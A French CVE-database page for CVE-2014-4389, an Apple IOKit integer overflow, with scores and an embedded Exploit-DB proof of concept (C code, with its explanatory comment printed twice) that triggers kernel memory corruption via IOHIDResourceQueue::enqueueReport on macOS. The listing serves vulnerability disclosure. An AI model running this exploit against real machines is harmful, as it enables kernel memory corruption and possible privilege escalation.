CVE-2014-4389 Détail

CVE-2014-4389

EPSS

0.43%V3

Vecteur

Network

Publié

2014-09-18
08h00 +00:00

Modifié

2017-08-28
10h57 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

Integer overflow in IOKit in Apple iOS before 8 and Apple TV before 7 allows attackers to execute arbitrary code in a privileged context via an application that provides crafted API arguments.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-189	Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45651

Date de publication : 2018-10-21 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method, which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods. I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866) IOHIDResourceQueue::enqueueReport has basically the same bug: Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report) { UInt32 headerSize = sizeof(IOHIDResourceDataQueueHeader); UInt32 reportSize = report ? (UInt32)report->getLength() : 0; UInt32 dataSize = ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t)); <--- (a) UInt32 head; UInt32 tail; UInt32 newTail; const UInt32 entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE; IODataQueueEntry * entry; // Force a single read of head and tail head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED); tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED); if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize) <--- (b) { return false; } if ( tail >= head ) { // Is there enough room at the end for the entry? if ((getQueueSize() - tail) >= entrySize ) { entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail); entry->size = dataSize; bcopy(header, &entry->data, headerSize); if ( report ) report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize); <--- (c) Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a) giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c) for the actually memory write operation. The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these. A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards, so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.) You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example from the IOHIDFamily code, giving it the correct entitlement and running it. */ // @i41nbeer /* iOS/MacOS kernel memory corruption due to integer overflow in IOHIDResourceQueue::enqueueReport IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method, which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods. I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866) IOHIDResourceQueue::enqueueReport has basically the same bug: Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report) { UInt32 headerSize = sizeof(IOHIDResourceDataQueueHeader); UInt32 reportSize = report ? (UInt32)report->getLength() : 0; UInt32 dataSize = ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t)); <--- (a) UInt32 head; UInt32 tail; UInt32 newTail; const UInt32 entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE; IODataQueueEntry * entry; // Force a single read of head and tail head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED); tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED); if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize) <--- (b) { return false; } if ( tail >= head ) { // Is there enough room at the end for the entry? if ((getQueueSize() - tail) >= entrySize ) { entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail); entry->size = dataSize; bcopy(header, &entry->data, headerSize); if ( report ) report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize); <--- (c) Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a) giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c) for the actually memory write operation. The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these. A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards, so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.) You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example from the IOHIDFamily code, giving it the correct entitlement and running it. Tested on MacOS 10.13.6 (17G65) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <mach/mach.h> #include <mach/mach_vm.h> int main(int argc, char** argv){ printf("pid: %d\n", getpid()); kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHIDUserDevice")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got client\n"); uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; // open inputScalar[0] = 0; inputScalarCnt = 1; err = IOConnectCallMethod( conn, 1, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } printf("called external method open\n"); mach_vm_address_t addr = 0x4100000000; mach_vm_size_t size = 0x1000; err = IOConnectMapMemory(conn, 0, mach_task_self(), &addr, &size, 0); if (err != KERN_SUCCESS){ printf("IOConnectMapMemory failed:0x%x\n", err); return 0; } printf("mapped queue memory here: %016llx\n", addr); char* buf = malloc(0x100000000); memset(buf, 'A', 0x100000000); inputScalar[0] = 0x0; inputScalar[1] = 0x0; inputScalarCnt = 3; outputScalarCnt = 0; err = IOConnectCallMethod( conn, 13, // setreport inputScalar, inputScalarCnt, buf, 0xffffffff, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } return 0; }